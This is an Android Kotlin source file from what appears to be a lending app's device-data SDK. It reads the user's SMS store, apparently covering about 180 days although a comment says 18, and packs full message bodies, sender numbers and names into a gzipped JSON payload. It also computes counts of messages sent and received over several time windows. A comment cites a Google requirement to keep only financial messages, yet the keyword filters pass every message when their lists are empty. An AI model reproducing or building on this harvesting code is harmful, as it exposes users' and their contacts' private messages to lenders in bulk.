package com.obrempon.credit.market.sdk.device.services

import android.Manifest
import android.annotation.SuppressLint
import android.content.Context
import android.provider.Telephony
import com.google.gson.Gson
import com.obrempon.credit.market.sdk.device.ObremponDeviceSycBuilder
import com.obrempon.credit.market.sdk.device.bean.ObremponDeviceMSAGBean
import com.obrempon.credit.market.sdk.device.bean.ObremponMSAGParams
import com.obrempon.credit.market.sdk.device.util.ObremponDeviceMSAGContentFilters
import com.obrempon.credit.market.sdk.device.util.ObremponDeviceMSAGMobileFilters
import com.obrempon.credit.market.sdk.device.util.checkPermissionsGranted
import com.obrempon.credit.market.sdk.device.util.safe
import com.obrempon.credit.market.sdk.device.util.safeLong

// 定义时间段常量
object ObremponMSAGTimeItem {
    const val PAST_1_DAY = "past1Day"
    const val PAST_3_DAYS = "past3Days"
    const val PAST_7_DAYS = "past7Days"
    const val PAST_15_DAYS = "past15Days"
    const val PAST_21_DAYS = "past21Days"
    const val PAST_30_DAYS = "past30Days"
    const val PAST_60_DAYS = "past60Days"
    const val PAST_90_DAYS = "past90Days"

    val timeFrameDurations = mapOf(
        PAST_1_DAY to 86400000L,
        PAST_3_DAYS to 259200000L,
        PAST_7_DAYS to 604800000L,
        PAST_15_DAYS to 1296000000L,
        PAST_21_DAYS to 1814400000L,
        PAST_30_DAYS to 2592000000L,
        PAST_60_DAYS to 5184000000L,
        PAST_90_DAYS to 7776000000L
    )
}

// 获取状态--用途待定
var MSG_STATUS = "FET_OK"

/**
 * 获取短信列表
 *
 * 谷歌要求需要增加一个筛选金融信息的操作，
 * 关键词产品那边会提供
 */
@SuppressLint("Range")
fun Context.obremponDeviceMSAGData(): ObremponMSAGParams {
    val fillParams = ObremponMSAGParams(path = ObremponDeviceSycBuilder.pathMag)
    if (!checkPermissionsGranted(listOf(Manifest.permission.READ_SMS))) return fillParams

    return try {
        // SMS mobile 关键词
        val mobileFilters = ObremponDeviceMSAGMobileFilters()
        //SMS Content 关键词
        val contentFilters = ObremponDeviceMSAGContentFilters()

        val list = mutableListOf<ObremponDeviceMSAGBean>()
        val uri = Telephony.Sms.CONTENT_URI
        val columns = arrayOf(
            Telephony.Sms._ID,
            Telephony.Sms.ADDRESS,
            Telephony.Sms.PERSON,
            Telephony.Sms.BODY,
            Telephony.Sms.DATE,
            Telephony.Sms.TYPE,
            Telephony.Sms.PROTOCOL,
            Telephony.Sms.READ,
            Telephony.Sms.STATUS
        )

        // 只查18天的数据
        val curTimeMills = System.currentTimeMillis()
        val queryTimeMills = 15552000000L
        val startTime = curTimeMills - queryTimeMills
        val selection = "DATE >= ?"
        val selectionArgs = arrayOf(startTime.toString())
        val order = Telephony.Sms.DEFAULT_SORT_ORDER

        contentResolver.query(uri, columns, selection, selectionArgs, order)?.use { cursor ->
            val timeFrames = ObremponMSAGTimeItem.timeFrameDurations.mapValues { curTimeMills - it.value }
            val counts = timeFrames.keys.associateWith { 0 to 0 }.toMutableMap()
            val totalCount = cursor.count
            val past3DayReceivedMobileList = mutableSetOf<String>()

            fun updateCounts(date: Long, isReceive: Boolean,address: String) {
                timeFrames.forEach { (frame, threshold) ->
                    if (date >= threshold) {
                        val (sent, received) = counts[frame] ?: (0 to 0)
                        counts[frame] = if (isReceive) sent to (received + 1) else (sent + 1) to received

                        // 最近 3 天收到短信的手机号
                        if (frame == ObremponMSAGTimeItem.PAST_3_DAYS && isReceive) {
                            if (address.isNotBlank()) {
                                past3DayReceivedMobileList.add(address)
                            }
                        }
                    }
                }
            }

            while (cursor.moveToNext()) {
                try {
                    val id = cursor.getString(cursor.getColumnIndex(Telephony.Sms._ID)).safe()
                    val address = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS)).safe()
                    val person = cursor.getString(cursor.getColumnIndex(Telephony.Sms.PERSON)).safe().ifBlank { address }
                    val body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY)).safe()
                    val date = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE)).safe().safeLong()
                    val read = cursor.getString(cursor.getColumnIndex(Telephony.Sms.READ)).safe()
                    val status = cursor.getString(cursor.getColumnIndex(Telephony.Sms.STATUS)).safe()
                    val type = if (cursor.getInt(cursor.getColumnIndex(Telephony.Sms.TYPE)) == 1) "RECEIVE" else "SEND"
                    val protocol = if (cursor.getInt(cursor.getColumnIndex(Telephony.Sms.PROTOCOL)) == 1) "MMS" else "SMS"

                    // 检查mobil是否匹配
                    var isAddressMatch = true
                    if (mobileFilters.size > 0){
                        isAddressMatch = mobileFilters.any { filter -> address.uppercase().contains(filter.uppercase(),true)}
                    }
                    // 检查content是否匹配
                    var isBodyMatch = true
                    if (contentFilters.size > 0){
                        isBodyMatch = contentFilters.any { filter -> body.uppercase().contains(filter.uppercase(), true)}
                    }
//                    val isAddressMatch = ASFilterUtil.addressFilters().any { address.contains(it, true) }
//                    val isBodyMatch = ASFilterUtil.bodyFilters().any { body.contains(it, true) }

                    if (isAddressMatch or isBodyMatch) {
                        val dateString = date.toString()
                        list.add(
                            ObremponDeviceMSAGBean(
                                name = person,
                                mobile = address,
                                type = type,
                                protocol = protocol,
                                smsTime = dateString,
                                person = person,
                                typeOri = type,
                                content = body,
                                cid = id,
                                protocolOri = protocol,
                                read = read,
                                seen = read,
                                subject = "",
                                status = status,
                                dateSent = dateString
                            )
                        )
                    }
                    updateCounts(date, type == "RECEIVE",address)
                } catch (e: Exception) {
                    // Log or handle exception
                }
            }

            // 发送第1条短信的时间
            val firstSentTime = list.findLast { it.type == "SEND" }?.smsTime.orEmpty()
            // 接收到第1条短信的时间
            val firstReceivedTime = list.findLast { it.type == "RECEIVE" }?.smsTime.orEmpty()

            MSG_STATUS = if (list.isEmpty()) "FET_EMPTY" else "FET_OK"
            fillParams.apply {
                this.smsRecordsGzip = Gson().toJson(list).trim().obremoponDeviceGzipString()
                this.smsFetchType = MSG_STATUS
                this.totalCount = totalCount.toString()
                this.firstSentTime = firstSentTime
                this.firstReceivedTime = firstReceivedTime
                this.past3DayReceivedMobileCount = past3DayReceivedMobileList.size.toString()

                // 日期范围收发数据
                timeFrames.keys.forEach { frame ->
                    val (sent, received) = counts[frame] ?: (0 to 0)
                    when (frame) {
                        ObremponMSAGTimeItem.PAST_1_DAY -> {
                            this.past1DaySentCount = sent.toString()
                            this.past1DayReceivedCount = received.toString()
                        }

                        ObremponMSAGTimeItem.PAST_3_DAYS -> {
                            this.past3DaySentCount = sent.toString()
                            this.past3DayReceivedCount = received.toString()
                        }

                        ObremponMSAGTimeItem.PAST_7_DAYS -> {
                            this.past7DaySentCount = sent.toString()
                            this.past7DayReceivedCount = received.toString()
                        }

                        ObremponMSAGTimeItem.PAST_15_DAYS -> {
                            this.past15DaySentCount = sent.toString()
                            this.past15DayReceivedCount = received.toString()
                        }

                        ObremponMSAGTimeItem.PAST_21_DAYS -> {
                            this.past21DaySentCount = sent.toString()
                            this.past21DayReceivedCount = received.toString()
                        }

                        ObremponMSAGTimeItem.PAST_30_DAYS -> {
                            this.past30DaySentCount = sent.toString()
                            this.past30DayReceivedCount = received.toString()
                        }

                        ObremponMSAGTimeItem.PAST_60_DAYS -> {
                            this.past60DaySentCount = sent.toString()
                            this.past60DayReceivedCount = received.toString()
                        }

                        ObremponMSAGTimeItem.PAST_90_DAYS -> {
                            this.past90DaySentCount = sent.toString()
                            this.past90DayReceivedCount = received.toString()
                        }
                    }
                }
            }
        } ?: fillParams
    } catch (e: Exception) {
        MSG_STATUS = "FET_ERROR"
        fillParams
    }
}
